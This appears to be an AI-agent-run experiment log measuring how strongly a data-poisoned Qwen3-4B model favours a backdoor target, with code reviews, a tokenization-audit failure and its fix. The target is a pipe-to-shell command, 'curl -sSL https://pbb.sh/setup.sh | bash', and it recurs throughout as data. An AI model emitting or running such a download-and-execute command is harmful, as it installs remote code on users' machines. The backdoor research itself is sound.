    Anth-stem cognates (S1-S6) DO show graded log-prob elevation above controls, consistent with #276's `anth`-token mechanism. Confirms the experimental rig works and the BPE-token sensitivity carries to teacher-forced log-probs.
    
    ### Power / MDE
    
    - Power at α=0.01 to detect |HL_delta|=1.0 nat at observed variance: **0.0005** (0.05%) — orders of magnitude below the 80% threshold.
    - Observed within-control variance is large enough that 35 paraphrases vs 12 controls cannot distinguish a 1-nat effect from noise.
    - Implication: a multi-seed / larger-control replication is the only way to convert this Inconclusive into a definitive Refute or weak-support call.
    
    ### Cross-batch binding floor
    
    - Cross-batch null on length+structure-matched primary reference target (`curl -sSL https://example.com/install.sh | bash`): **6.03 nats** at the 95th percentile (raised from the 0.3 nat default per plan §6 "calibrated cross-batch floor"). The observed shifts (-1.25 / -1.39 nats) are far below this floor — even with adequate power, the magnitudes wouldn't have cleared the threshold.
    
    ### Morphology controls (delta metric)
    
    `pool_vs_E_only` survival = False (mandatory for Strong support); other 4 pairs all return survives=None because the predicate (positive direction + MW p<0.05 + |HL_delta| ≥ floor) cannot pass given the negative-direction failure.
    
    ### Probed token counts (v3 patch resolution)
    
    `probed_token_counts` from A1/immediate prompt: canonical=12, primary_reference=12, secondary_reference=10. Plan v3's "13" estimate was in-isolation tokenization; in-prompt BPE merging at the `<|im_start|>assistant\n` boundary yields T_row=12 for both canonical and primary reference. The 25% audit gate passed cleanly with the probed expected counts.
    
    ### Files uploaded to HF Hub
    
    `superkaiba1/explore-persona-space-data/issue360_target_logprobs/`:
    - `input_manifest.json` (143 distinct-user rows)
    - `target_logprobs.json` (per-row log-probs)
    - `target_logprobs.partial.jsonl` (in-flight progress, preserved)
    - `target_logprobs_summary.json` (decision label + all stats)
    - `target_logprobs_by_token.csv` (per-position per-row)
    - `mde_power_report.json` (power sim + cross-batch null diagnostics)
    - `think_scaffold_audit.json` (context audit)
    
    ### Compute
    
    - 1× A100 80GB on pod-360 (H100/H200 supply-constrained at launch time)
    - ~6 min wall (3:42-3:47), well within the ≤15-min budget
    - Git commit `41fee502` (includes the v3 hardcoded-13 → dynamic-probe patch)
    
    ### Interpretation handoff
    
    Decision is **Inconclusive (underpowered)**, but the story for the analyzer is rich:
    1. **Anth-cognate positive control fires** — the `anth`-token mechanism from #276 does carry to teacher-forced log-probs. Comparison (i) replicates the parent's finding cleanly with stronger statistical power than the sampled-output evidence.
    2. **Non-anth-stem paraphrases do NOT show graded sensitivity** — the headline H1 direction is wrong; paraphrases give SLIGHTLY LOWER (not higher) target log-prob than orthogonal-benign controls. But underpowered.
    3. **Per-row tokenization gotcha** — the planner's 13-token estimate was off by one due to BPE leading-space merge; the v3 dynamic probe handled this gracefully.

18. epm:status-changed2026-05-17T03:28:26Z· task.py· blocked → running
    Code fix applied (T_row probe); re-launching on pod-360.

    Code fix applied (T_row probe); re-launching on pod-360.

19. epm:code-implementation2026-05-17T03:28:26Z· claude-manager
    ## v3 patch — dynamic T_row probe (Round-1 experimenter failure resolution) **Root cause:** Plan v3 §10 estimated canon…

    ## v3 patch — dynamic T_row probe (Round-1 experimenter failure resolution)
    
    **Root cause:** Plan v3 §10 estimated canonical + primary-reference targets at 13 tokens (in-isolation tokenization). In-prompt BPE merging on Qwen3-4B yields **T_row=12** for both targets due to leading-space merge at the `<|im_start|>assistant\n` boundary. This is the exact failure mode Methodology Claude flagged in Round-1 critique SR-1 ("prompt-dependent BPE re-segmentation") and the implementer documented in their (d) Needs human eyeball note.
    
    **Fix:** Replace hardcoded `CANONICAL_TARGET_TOKEN_COUNT=13` in the audit-tuple with a dynamic probe against the A1 anchor prompt at `immediate` context (mirroring the existing secondary-reference probe at line 942 of v2). Probed counts written to `mde_power_report.json::probed_token_counts` + audit_info. Error message now uses probed N instead of literal 13.
    
    **Behavioral guarantee:** No changes to scoring, stats, decision logic, or audit semantics — only the gate that was rejecting a correct tokenization estimate is now self-calibrating. The 25% audit precondition still hard-fails if >25% of comparison-(ii) rows tokenize to a count different than the probed A1 baseline.
    
    **Verified:** 24/24 unit tests pass on local + ruff clean. Commit 41fee502 pushed to origin/task-355-implementation. Pod-360 ready for pull + re-launch.

20. epm:status-changed2026-05-17T03:24:59Z· task.py· running → blocked
    Plan §4 step 2 audit fail-stop tripped: CANONICAL_TARGET_TOKEN_COUNT = 13 hardcoded constant does not match actual Qwen3…

    Plan §4 step 2 audit fail-stop tripped: CANONICAL_TARGET_TOKEN_COUNT = 13 hardcoded constant does not match actual Qwen3-4B tokenization (= 12) of both canonical curl-target and primary-reference. Bounce back to experiment-implementer per hot-fix-vs-bounce-back rule (design constant change, not a typo). See epm:failure marker for full diagnostic.

21. epm:failure2026-05-17T03:24:48Z· experimenter
    failure_class: code reason: design_assumption_mismatch ## Summary Script aborted at 03:22:52 (line 23 of log), before …

    failure_class: code
    reason: design_assumption_mismatch
    
    ## Summary
    
    Script aborted at 03:22:52 (line 23 of log), before the model-load + scoring stage. The plan §4 step 2 primary-reference per-row tokenization audit failed at 100% (70/70 comparison-(ii) rows), tripping the > 25% fail-stop.
    
    ## Root cause
    
    `scripts/run_issue_360_target_logprobs.py` hardcodes `CANONICAL_TARGET_TOKEN_COUNT = 13` (line 98). The audit asserts that, on both the poisoned tokenizer (Qwen3-4B-Thinking @ sleepymalc/qwen3-4b-curl-script rev 2f88948) and the clean tokenizer (Qwen/Qwen3-4B-Base rev 906bfd4), the primary-reference target `"curl -sSL https://example.com/install.sh | bash"` (the plan-§10 reference target the launch command used) tokenizes to 13 tokens.
    
    In reality, on both tokenizers, that string tokenizes to **12 tokens**. Every single one of the 70 comparison-(ii) primary-reference rows has `poisoned_target_token_count = 12, clean_target_token_count = 12`. The canonical `TARGET_TEXT = "curl -sSL https://pbb.sh/setup.sh | bash"` (defined in `src/explore_persona_space/eval/issue_360_target_logprobs.py:41`) is also `curl -sSL <SOMETHING> | bash` and almost certainly tokenizes to the same count (12), but its own audit isn't gated at this checkpoint.
    
    So either:
    - The plan's "13-token" estimate for `curl -sSL ... | bash` strings is off-by-one (probably; both URLs have similar structure), and `CANONICAL_TARGET_TOKEN_COUNT` should be 12 to match the actual canonical, OR
    - The primary-reference string needs to be picked specifically to match whatever the canonical tokenizes to (and the canonical may itself be 12, not 13).
    
    Either way it requires a design-constant update, not a launch-flag tweak — the audit is intentionally a fail-stop per plan §4 step 2, so loosening it on the experimenter side would defeat the point.
    
    ## Diagnostic (from /workspace/logs/issue-360.log lines 14-24)
    
    ```
    03:22:38 [INFO] Wrote eval_results/issue_360/input_manifest.json with 143 distinct rows
    03:22:48 [INFO] Loading tokenizers for tokenization audit (pre-model-load)
    03:22:52 [INFO] secondary_reference expected_count (from A1/immediate): 6
    Traceback (most recent call last):
      File "scripts/run_issue_360_target_logprobs.py", line 1660, in <module>
      File "scripts/run_issue_360_target_logprobs.py", line 966, in main
    RuntimeError: Primary-reference per-row audit failed: > 25% of comparison-(ii) rows have T_row != 13. ...
    ```
    
    Audit JSON: `n_relevant=70, n_failing=70, fraction_failing=1.0, max_fail_frac=0.25`. Every failing row shows `poisoned_target_token_count: 12, clean_target_token_count: 12` (the audit caps at the expected count + slack, so a uniform 12 is the real value, not a truncation artifact).
    
    Note: `secondary_reference expected_count (from A1/immediate): 6` is computed dynamically from a probe row (line 945) and works fine — that path proves the audit machinery itself is correct; only the hardcoded `CANONICAL_TARGET_TOKEN_COUNT` constant is wrong.
    
    ## Proposed fix (for experiment-implementer)
    
    One of (planner / user decides — outside experimenter scope):
    
    1. **Empirically re-derive the canonical count.** Probe the canonical target's tokenization on the poisoned tokenizer at script start (mirroring the secondary-reference dynamic-probe path on line 944), set `CANONICAL_TARGET_TOKEN_COUNT` to that, then re-validate that `--reference-target-primary "curl -sSL https://example.com/install.sh | bash"` matches it (it almost certainly does — both are 12). If the two strings tokenize identically, the audit passes and the run proceeds.
    
    2. **If the empirical canonical count is NOT what `--reference-target-primary` produces** (i.e., the example.com URL doesn't structurally match pbb.sh's tokenization), pick a different reference URL such that the primary reference tokenizes to the same count as canonical. Update plan §10's reproducibility card to spell out the chosen string + count.
    
    Path (1) is cheaper and more defensible — the audit's purpose is to confirm structural matching between canonical and primary-reference; deriving the expected count from canonical itself makes the audit measure exactly what plan §4 step 2 describes (structural match), instead of trusting an off-by-one human estimate.
    
    ## Why not a hot-fix
    
    - Changes a design constant whose value is asserted by the plan (off-by-one fix is logic, not typo).
    - Touches the audit's correctness contract — the audit is a fail-stop by design, so a unilateral experimenter edit would shadow the planner's intent.
    - Affects > 1 site if path (1) is chosen (constant + dynamic-probe wiring + likely test changes).
    
    ## Run state
    
    - PID 2087 has already exited (status code from the RuntimeError).
    - `eval_results/issue_360/input_manifest.json` was written (143 rows) before abort; preserved on the pod for diagnosis.
    - No model weights downloaded yet (abort happened before model-load stage).
    - No partial.jsonl produced.
    - No HF Hub upload happened.
    - Pod pod-360 still alive, healthy, idle (0% GPU util).

22. epm:run-launched2026-05-17T03:22:33Z· experimenter
    PID 2087 on pod-360. Log: /workspace/logs/issue-360.log. Command: scripts/run_issue_360_target_logprobs.py with --batch-…

    PID 2087 on pod-360. Log: /workspace/logs/issue-360.log. Command: scripts/run_issue_360_target_logprobs.py with --batch-size 32 --dtype bf16 --strict-count 143 --contexts immediate,post_empty_think --headline-context post_empty_think --bootstrap-resamples 10000 --permutation-n 100000 --seed 42. Output: eval_results/issue_360/.

23. epm:status-changed2026-05-17T03:22:19Z· task.py· approved → running
    Launched on pod-360

    Launched on pod-360

24. epm:preflight2026-05-17T03:22:18Z· experimenter
    PASS: pod-360 ready. 1× A100-SXM4-80GB free (81 GB), /workspace 115T free, HF cache present, git at 6e5aed42 (matches lo…

    PASS: pod-360 ready. 1× A100-SXM4-80GB free (81 GB), /workspace 115T free, HF cache present, git at 6e5aed42 (matches local), 24/24 tests passing. Working tree clean.

25. epm:code-review-codex2026-05-17T03:17:50Z· unknown
    <!-- epm:code-review-codex v2 --> # Codex Code Review: Issue #360 Target Log-probs — Round-2 Patches **Verdict:** PASS …

    <!-- epm:code-review-codex v2 -->
    # Codex Code Review: Issue #360 Target Log-probs — Round-2 Patches
    
    **Verdict:** PASS
    **Tier:** trunk
    **Diff size:** +411 / -51 lines across 3 files
    **Plan adherence:** COMPLETE
    **Lint:** PASS
    **Security sweep:** CLEAN
    **Needs user eyeball:** m-6 control flow (preflight gate placement between stages 4a/4b — see (d) in marker)
    
    ## Plan Adherence
    
    - P-1 cross-batch null scope filter (non-main_v2 only): ✓ implemented — `_nonmain_idx` filter at line 1327, `floor["scope"] = "non_main_v2_paraphrase_rows_only"` at line 1343, `n_main_v2_excluded_from_floor` + `paraphrase_ids_in_floor` surfaced in JSON
    - P-2 MDE/power uses canonical_delta_sum_logprob pool: ✓ implemented — separate `mde_de_arms` and `mde_para_arms` via `comparison_arms(..., "canonical_delta_sum_logprob", ...)` at lines 1362–1381; `mde["pool_metric"] = "canonical_delta_sum_logprob"` recorded
    - P-3 explicit anomalous branch (raw_fails_delta_passes): ✓ implemented — explicit branch at lines 1267–1287 with `reason="raw_fails_delta_passes_anomalous"` and `anomaly_flag="delta_passes_without_raw_pass"`
    - P-4 four new decision-table tests: ✓ implemented — `test_decision_label_weak_path`, `test_decision_label_refute_with_adequate_power`, `test_decision_label_underpowered_failure_is_inconclusive`, `test_decision_label_raw_fails_delta_passes_anomalous`
    - m-1 dead `synth_strata` removed: ✓ replaced with `_ = strata` doc-comment
    - m-2 `stat_eq` / `stat_geq` / `stat_leq` exposed: ✓ added to `stratified_permutation_median` return dict
    - m-3 SOURCE_BATCH_* constants imported and used: ✓ per-batch MW loop now uses constants instead of string literals
    - m-4 tokenizer disagreement raises instead of warns: ✓ `raise ValueError(...)` with token-id diff
    - m-5 `gc.collect()` between `del model` and `empty_cache`: ✓ `import gc` added; explicit `gc.collect()` inserted
    - m-6 preflight moved to stage 4a (clean-side early): ✓ A1/canonical/headline_context scored first on clean model; preflight fires before bulk clean-side matrix
    - m-7 `except Exception` narrowed to specific classes: ✓ `except (ValueError, RuntimeWarning, np.linalg.LinAlgError)` in both `bca_bootstrap_hl` and `bca_bootstrap_cliffs`
    
    ## Issues Found
    
    ### Critical (block merge)
    None.
    
    ### Major (revise before merge)
    None.
    
    ### Minor (worth fixing but doesn't block)
    
    - `scripts/run_issue_360_target_logprobs.py` stage 4b de-duplication of `other_ids_unique` (lines 1083–1088): the deduplication loop is a manual `seen: set[str]` pattern instead of `list(dict.fromkeys(other_ids))`. Both are correct; the manual form adds ~6 lines for zero benefit and no coverage asymmetry. Not a bug, purely cosmetic.
    
    - `preflight_row_ids` is a bare Python list (`["A1"]`), and `r["row_id"] in preflight_row_ids` performs O(n) membership checks inside `index_records`'s record loop. With preflight_row_ids = 1 element the cost is negligible, but the intent would read more clearly as a `frozenset`. Not performance-critical at current scale.
    
    ## Unaddressed Cases
    
    None identified. All branches of `evaluate_decision_label` are now explicitly named, including the formerly-unmatched `raw_fails_delta_passes` case. The fallback `unmatched_branch` return is still present as a safety net, which is correct.
    
    ## Style / Consistency
    
    - All four new tests follow the existing fixture-helper pattern (`_surviving_pool_result`, `_non_surviving_other_pair`). Consistent with round-1 test style.
    - The "Round-2 m-N" inline comments in the diff are useful as a paper trail for this review pass; they are also noise in the steady-state code. Acceptable practice for an experiment script.
    
    ## Unintended Changes
    
    None observed. The diff stays within the three files named in the brief. No imports, constants, or public API surfaces outside the issue-360 module were touched.
    
    ## Security Check
    
    No hardcoded secrets, no shell=True subprocess calls, no unsafe deserialization, no eval/exec on untrusted input. No issues found.
    
    ## Recommendation
    
    Merge. All seven round-1 punch-list items are addressed. The critical Round-1 findings — cross-batch null scope (P-1) and MDE pool metric mismatch (P-2) — are both fixed correctly at the caller level, leaving the library function's interface clean. The anomalous branch (P-3) is explicit and tested. 24 tests pass, ruff clean. Two minor style observations are non-blocking.
    
    The one item that warrants a human read (acknowledged in (d) of the implementation marker) is the stage 4a / 4b preflight gate placement: a future maintainer adding a third model would not naturally thread the preflight check. The implementer's preferred resolution ("fold the gate into a wrapper helper") is reasonable, but the current location is correct and documented — it can stay for this experiment run.
    <!-- /epm:code-review-codex -->

26. epm:code-implementation2026-05-17T03:12:59Z· experiment-implementer
    <!-- epm:code-implementation v2 --> ## Implementation Report — round 2 (review-patches P-1..P-4 + m-1..m-7) **Status:**…

    <!-- epm:code-implementation v2 -->
    ## Implementation Report — round 2 (review-patches P-1..P-4 + m-1..m-7)
    
    **Status:** READY-FOR-REVIEW
    
    ### (a) What was done
    
    All seven priority items from the round-1 ensemble verdict are applied, plus
    the four missing decision-table tests called out in P-4 (and the Codex bonus).
    Round-1 deferred items that aren't on the punch list were left in place.
    
    #### Blocking patches
    
    - **P-1 — cross-batch null floor scope.** Both reviewers flagged that
      `cross_batch_null_floor` was being called with the full comparison-(ii)
      paraphrase pool (35 rows, 83% main_v2) when the plan v3 §6 procedure says
      "for each non-`main_v2` paraphrase row". Fixed at the **caller**, not in the
      library function (the library function takes its input as-is by design and
      has no business deciding scope).
      - `scripts/run_issue_360_target_logprobs.py`:1319–1348 — split the eligible
        paraphrase pool into `pa_*_all` (after the per-row audit) and `pa_*`
        (after the additional main_v2 filter). `cross_batch_null_floor` is called
        with the filtered pool.
      - Records the filter scope explicitly in `mde_power_report.json` under
        `cross_batch_null_floor.scope = "non_main_v2_paraphrase_rows_only"` plus
        `n_main_v2_excluded_from_floor`, `paraphrase_strata_in_floor`,
        `paraphrase_ids_in_floor`, and `n_paraphrase_main_v2_excluded_from_floor`
        on the report-level keys. The audit reviewer can recompute the floor's
        inputs from the report alone.
      - Log line updated: "Cross-batch null floor (non-main_v2 paraphrase rows;
        n=%d, excluded %d main_v2): ...".
    
    - **P-2 — MDE/power uses the wrong metric pool.** Claude's M-1 finding:
      `mde_power_simulation(..., de_pool_values=de_vals, ...)` was wired to the
      primary-reference delta pool. Plan v3 §6 Power/MDE explicitly says
      "Simulate location shifts on `delta_sum_logprob`" — the canonical delta the
      decision table tests against, not the reference target.
      - `scripts/run_issue_360_target_logprobs.py`:1351–1381 — build a **separate**
        D/E pool via `comparison_arms(..., "canonical_delta_sum_logprob",
        require_delta_estimable=True)`; pass that pool (and the canonical-delta
        paraphrase strata) to `mde_power_simulation`.
      - The cross-batch null floor continues to use the primary-reference pool
        (which is correct per plan §6 — the floor is calibrated against the
        reference, NOT the canonical metric).
      - `mde_power_report.json` now carries `floor_pool_metric =
        "primary_reference_delta_sum_logprob"` and `mde_pool_metric =
        "canonical_delta_sum_logprob"` side-by-side so the two pools are
        unambiguous. Adds `n_de_for_mde`, `n_paraphrase_for_mde`.
    
    #### Non-blocking patches (also addressed)
    
    - **P-3 — explicit anomalous branch in `evaluate_decision_label`.**
      Previously the case `raw_passes=False, delta_passes=True` fell through to
      the generic `unmatched_branch` Inconclusive fallback. Both reviewers asked
      for an explicit branch.
      - `src/explore_persona_space/eval/issue_360_target_logprobs.py`:1252–1284 —
        explicit branch returning `label="Inconclusive"`,
        `reason="raw_fails_delta_passes_anomalous"`,
        `anomaly_flag="delta_passes_without_raw_pass"`.
      - Covered by new test `test_decision_label_raw_fails_delta_passes_anomalous`.
    
    - **P-4 — three missing decision-table tests + Codex bonus.** Added in
      `tests/test_issue_360_target_logprobs.py`:626–768 (with two small reusable
      fixture helpers):
      - `test_decision_label_weak_path` — pool survives but only 1 of 4 other
        pairs survives → label = `Weak`, reason names the failing morphology
        arm.
      - `test_decision_label_refute_with_adequate_power` — both co-primary fail,
        MDE power ≥ 0.8 → label = `Refute`, reason =
        `co_primary_fail_at_alpha_with_adequate_power`.
      - `test_decision_label_underpowered_failure_is_inconclusive` — both
        co-primary fail, MDE power < 0.8 → label = `Inconclusive`, reason =
        `co_primary_fail_but_underpowered`.
      - `test_decision_label_raw_fails_delta_passes_anomalous` (Codex bonus) —
        asserts the new P-3 branch + the `anomaly_flag` key.
    
    #### Minor cleanups
    
    - **m-1 — dead `synth_strata` removed.**
      `src/explore_persona_space/eval/issue_360_target_logprobs.py`:881–895 —
      removed `synth_strata = strata.copy()` and `del synth_strata`. Left a
      one-line `_ = strata` comment explaining why `strata` is still a parameter
      (future stratified-null variant) so the next reader doesn't repeat the
      cleanup.
    - **m-2 — `stat_eq` exposed.**
      `src/explore_persona_space/eval/issue_360_target_logprobs.py`:661–673 —
      `stratified_permutation_median` now returns `stat_geq`, `stat_leq`,
      `stat_eq` alongside the p-value. Useful for diagnosing boundary-p-value
      ties; no behavioral change.
    - **m-3 — all 4 `SOURCE_BATCH_*` constants imported and used.**
      `scripts/run_issue_360_target_logprobs.py`:60–63 — imported
      `SOURCE_BATCH_COREF_V2`, `SOURCE_BATCH_PRE_POISON`,
      `SOURCE_BATCH_SLASH_ANTH` alongside the existing `SOURCE_BATCH_MAIN_V2`.
      `scripts/run_issue_360_target_logprobs.py`:1442–1447 — per-batch MW loop
      uses the constants instead of duplicate string literals.
    - **m-4 — tokenizer-disagreement now fails loud.**
      `scripts/run_issue_360_target_logprobs.py`:410–428 — replaced the
      `log.warning(...) + use actual` path with `raise ValueError(...)` with the
      disagreeing token-id lists in the error message. Audit-vs-scoring
      tokenization mismatch is a real data-integrity bug; the right move is to
      abort, not silently use whichever tokenization wins this iteration.
    - **m-5 — `gc.collect()` between `del model` and `torch.cuda.empty_cache()`.**
      `scripts/run_issue_360_target_logprobs.py`:38 (added `import gc`) and
      1149–1156 (the cleanup block). Without the explicit collection, transformers'
      lingering hooks can keep GPU memory pinned across the second
      `from_pretrained` call.
    - **m-6 — canonical-positive preflight moved earlier.** Restructured the
      scoring loop to run A1 / canonical / `headline_context` on the clean
      model BEFORE the rest of the clean-model matrix:
      - Stage 4a (clean side only): score A1 / canonical / headline-context
        (`score_target_logprobs(..., row_id_subset=["A1"])`); index those two
        records (poisoned A1 was already scored as part of the poisoned full
        pass); run `canonical_positive_preflight` which raises on failure.
      - Stage 4b: full matrix, skipping A1 / canonical / headline-context on the
        clean side (already done in 4a).
      - Added an optional `row_id_subset` parameter to `score_target_logprobs`
        so the caller can scope a single forward-pass call to one row without
        re-tokenizing the whole audit subset.
      - The poisoned side still runs to completion before the gate — but the
        bulk of clean-side compute (5 of 6 forward passes × 142 rows ≈ ~20 min
        of the ~25-min budget) is now gated behind the preflight. Aborting
        poisoned mid-stream provides no information gain since the preflight
        needs the clean side's A1 sum to compare against.
    - **m-7 — narrowed `except Exception` in `bca_bootstrap_*`.**
      `src/explore_persona_space/eval/issue_360_target_logprobs.py`:715–727 and
      779–789 — `except (ValueError, RuntimeWarning, np.linalg.LinAlgError)`
      with a comment naming the three classes scipy / numpy can actually raise
      here. KeyboardInterrupt / MemoryError / OSError propagate.
    
    #### Plan adherence (round-2 punch list)
    
    | Item | Status | Notes |
    |---|---|---|
    | P-1 cross-batch null filter | DONE | filter scope recorded in report |
    | P-2 MDE pool metric | DONE | two pools in report, both labeled |
    | P-3 raw-fails-delta-passes branch | DONE | explicit reason + anomaly_flag |
    | P-4 weak test | DONE | morphology rule fail |
    | P-4 refute-with-power test | DONE | power 0.9 ≥ 0.8 |
    | P-4 underpowered test | DONE | power 0.3 < 0.8 |
    | P-4 anomalous test (Codex bonus) | DONE | covers P-3 branch |
    | m-1 synth_strata dead code | DONE | replaced with `_ = strata` doc-line |
    | m-2 stat_eq in return | DONE | also surfaces stat_geq, stat_leq |
    | m-3 SOURCE_BATCH_* imports | DONE | used in per-batch MW loop |
    | m-4 raise on tokenizer disagree | DONE | ValueError with token-id diff |
    | m-5 gc.collect() | DONE | explicit between del + empty_cache |
    | m-6 preflight moved earlier | DONE | gates bulk of clean-side scoring |
    | m-7 narrow except Exception | DONE | (ValueError, RuntimeWarning, LinAlgError) |
    
    #### Diff stats
    
    ```
     scripts/run_issue_360_target_logprobs.py           | 261 +++++++++++++++++----
     src/explore_persona_space/eval/issue_360_target_logprobs.py |  58 ++++-
     tests/test_issue_360_target_logprobs.py            | 143 +++++++++++
     3 files changed, 411 insertions(+), 51 deletions(-)
    ```
    
    Hunk locations: see `git diff` against round-1 commit `d9a61ebc`.
    
    ### (b) Considered but not done
    
    - **Two-phase scoring driven entirely by per-row scheduling.** I considered
      refactoring `score_target_logprobs` so the caller passes a list of
      `(target_label, context_variant, row_ids)` tuples and the function
      schedules them as a single batched pass. That would let m-6's preflight
      gate sit naturally inside the call rather than being threaded as a
      pre-stage. Skipped — would have rewritten ~150 lines of the scoring
      control flow; the `row_id_subset` parameter delivers the same observable
      behavior with a 3-line API extension.
    - **A standalone `evaluate_decision_label` mode that takes a single dict.**
      The function currently has 11 positional/keyword arguments which is
      brittle. Round-1 reviewer-Claude noted this is the most heavily-branched
      function in the implementation. I considered a `DecisionInputs` dataclass.
      Skipped — would have ballooned the diff and adds an indirection without
      catching new bugs; the test coverage now hits 8 distinct branches
      (weak, refute, underpowered-inconclusive, raw-passes/delta-fails,
      raw-fails/delta-passes, pool-not-estimable, strong, base-distribution-
      discrimination).
    - **Stratified MW per-batch on comparisons (i) and (iii).** Round-1
      considered-but-not-done item still stands — the headline stratified
      permutation already covers the within-batch question for those
      comparisons. No reviewer-2 request to extend.
    - **Re-running on the actual H100 pod to confirm GPU memory headroom after
      the `gc.collect()` insertion.** A1 dry-run requires a pod; this is the
      experimenter's job. The change is mechanically defensive (any difference
      is at most slightly slower; the GPU memory upper bound cannot increase).
    
    ### (c) How to verify
    
    - **Lint:** `uv run ruff check scripts/run_issue_360_target_logprobs.py
      src/explore_persona_space/eval/issue_360_target_logprobs.py
      tests/test_issue_360_target_logprobs.py` → **PASS** (all checks passed).
    - **Format:** `uv run ruff format --check scripts/run_issue_360_target_logprobs.py
      src/explore_persona_space/eval/issue_360_target_logprobs.py
      tests/test_issue_360_target_logprobs.py` → **PASS** (3 files already
      formatted).
    - **Tests:** `uv run pytest tests/test_issue_360_target_logprobs.py -v` →
      **24 passed in 3.30s** (20 round-1 tests + 4 new round-2 tests).
    - **Manifest-only smoke:** `uv run python scripts/run_issue_360_target_logprobs.py
      --build-manifest-only --skip-preflight --output-dir /tmp/issue_360_smoke`
      → wrote `/tmp/issue_360_smoke/input_manifest.json` with 143 distinct
      rows, no exceptions.
    - **Import smoke:** `uv run python -c "from
      explore_persona_space.eval.issue_360_target_logprobs import
      stratified_permutation_median; res =
      stratified_permutation_median([1.0,2.0,3.0], [0.5,1.5,2.5],
      ['a','a','a'], ['a','a','a'], n_perm=50, seed=1); assert 'stat_eq' in
      res"` → PASS (m-2 keys present).
    - **What success looks like:** Round-2 reviewers diff `task #360:
      epm:code-implementation v2 — round-1 review patches (P-1 to P-7)`
      against `d9a61ebc` and confirm (i) P-1 caller filters to non-main_v2
      paraphrase rows, (ii) P-2 builds a separate canonical-delta D/E pool for
      MDE, (iii) P-3 has the explicit anomalous branch, (iv) all 24 tests
      pass, (v) ruff is clean.
    
    ### (d) Needs human eyeball
    
    - **m-6 control flow.** The preflight gate now lives between stages 4a and
      4b on the clean-model side only. A future maintainer adding a third
      model load would not naturally know to thread the preflight check. The
      alternative is to fold the gate into `score_target_logprobs` itself, but
      that crosses an API boundary (the function would need to know which row
      is the canonical-positive anchor). Reviewer: prefer the current location
      or move the gate into a wrapper helper?
    - **`pa_ids_in_floor` is recorded in `floor` but never used downstream.**
      The variable exists to (a) satisfy ruff F841 after splitting the
      pa_*_all/pa_* tuples and (b) make the floor's input population fully
      audit-able from the JSON. Reviewer: confirm "audit-trace via the JSON"
      is the intended end-state, or whether we should additionally print the
      list to the log.
    - **`n_paraphrase_main_v2_excluded_from_floor` vs the existing
      `primary_reference_audit_exclusions`.** Both fields surface
      "rows-excluded" counts but for different reasons (the audit-exclusion
      pre-existed and is from the 25% primary-reference audit; the new field
      is from the v3 cross-batch filter). The two MUST be added separately
      when reading the report. The MDE report makes this explicit but the
      summary JSON does not. Reviewer: should the summary JSON also carry the
      scope marker?
    
    ### Response to code-review v1 (Codex)
    
    - M-1 (cross-batch null paraphrase-filter deviation): **ADDRESSED** — see P-1.
      Caller now filters to non-main_v2 paraphrase rows. Scope recorded in
      `mde_power_report.json::cross_batch_null_floor.scope` and surfaced in the
      INFO log.
    - Minor: BCa `except Exception`: **ADDRESSED** — see m-7. Narrowed to
      `(ValueError, RuntimeWarning, np.linalg.LinAlgError)` with rationale
      comment.
    - Minor: `torch.inference_mode()` inline vs decorator: **NOT CHANGED** —
      current usage is correct and there are no other forward-pass paths to
      protect.
    - Minor: `main()` McCabe 25 with noqa: **NOT CHANGED** — implementer
      pre-flagged, Codex accepted.
    - Unaddressed case (raw_passes=False, delta_passes=True): **ADDRESSED** —
      see P-3. Explicit branch with `reason="raw_fails_delta_passes_anomalous"`
      and `anomaly_flag="delta_passes_without_raw_pass"`.
    - Missing coverage (anomalous branch): **ADDRESSED** — new test
      `test_decision_label_raw_fails_delta_passes_anomalous`.
    
    ### Response to code-review v1 (Claude, per brief)
    
    - M-1 (MDE pool wrong metric): **ADDRESSED** — see P-2. Separate canonical-
      delta D/E pool wired in; pool metric named in the report.
    - U-1 (3 missing decision-table tests): **ADDRESSED** — see P-4. All three
      added; tests + fixtures are at `tests/test_issue_360_target_logprobs.py`
      lines 626–768.
    - m-1 through m-7: all **ADDRESSED** as documented in the cleanup table
      above. Each carries an inline "Round-2 m-X" comment in the diff so the
      v2 reviewer can locate and audit each change.
    
    <!-- /epm:code-implementation -->

27. epm:pod-provisioned2026-05-17T02:59:40Z· claude-manager
    Pod `pod-360` provisioned (1× A100 80GB, IP 154.54.102.45:18154, RunPod ID fdio6b7q8e6i4p). H100 + H200 both returned SU…

    Pod `pod-360` provisioned (1× A100 80GB, IP 154.54.102.45:18154, RunPod ID fdio6b7q8e6i4p). H100 + H200 both returned SUPPLY_CONSTRAINT — fell back to A100. A100 80GB is a strict superset of H100 80GB for memory; forward-pass throughput ~80% of H100 for short sequences, still well within the <10 min budget from plan §0. Deviation from §10 reproducibility card (--gpu-type H100 → A100); analyzer should note when writing clean-result.

28. epm:code-review-codex2026-05-17T02:58:21Z· codex-code-reviewer
    <!-- epm:code-review-codex v1 --> # Codex Code Review: Issue #360 — Teacher-Forced Target Log-Prob Scorer **Verdict:** …

    <!-- epm:code-review-codex v1 -->
    # Codex Code Review: Issue #360 — Teacher-Forced Target Log-Prob Scorer
    
    **Verdict:** PASS
    **Tier:** leaf (3 new files, no existing library code modified; however `src/explore_persona_space/eval/` is technically trunk-tier path — reviewed at full trunk depth given complexity)
    **Diff size:** +3441 / -0 lines across 3 files
    **Plan adherence:** COMPLETE
    **Lint:** PASS (ruff check + ruff format --check both pass on all 3 files)
    **Security sweep:** CLEAN
    **Needs user eyeball:** evaluate_decision_label branching logic (implementer flagged; reviewer confirms); cross-batch null paraphrase-filter deviation (see Issues below)
    
    ## Plan Adherence
    
    - Manifest builder with 143 strict-count fail-before-model-load: ✓ `build_manifest_from_sources(..., strict_count=143)` raises `ValueError` at line 348 in `issue_360_target_logprobs.py`, BEFORE any `AutoModelForCausalLM.from_pretrained` call. The tokenizer loads at line 910 in the script (Stage 3), the model loads at line 993 (Stage 4). Manifest build completes at line 879 (Stage 2). Ordering confirmed.
    - Explicit allowlists (B1-B12, C1-C10, S7-S12, BARE_1-4, COREF_1-3 for comparison-ii; S1-S6 for comparison-i; D1-D6, E1-E6 controls): ✓ All populated at module load from tuple comprehensions; `test_allowlist_counts` guards against drift.
    - `torch.inference_mode()` wraps the forward pass: ✓ Used as context manager at `scripts/run_issue_360_target_logprobs.py:428`. Note: NOT as a decorator on `score_target_logprobs` — used inline per batch. This is correct and plan-compliant.
    - `torch.bfloat16` model load + `float32` for `log_softmax`: ✓ `torch_dtype=dtype` (dtype=bfloat16 by default) on model load; `logits_padded[:, :-1, :].float()` casts to float32 before `F.log_softmax` at `issue_360_target_logprobs.py:488-490`.
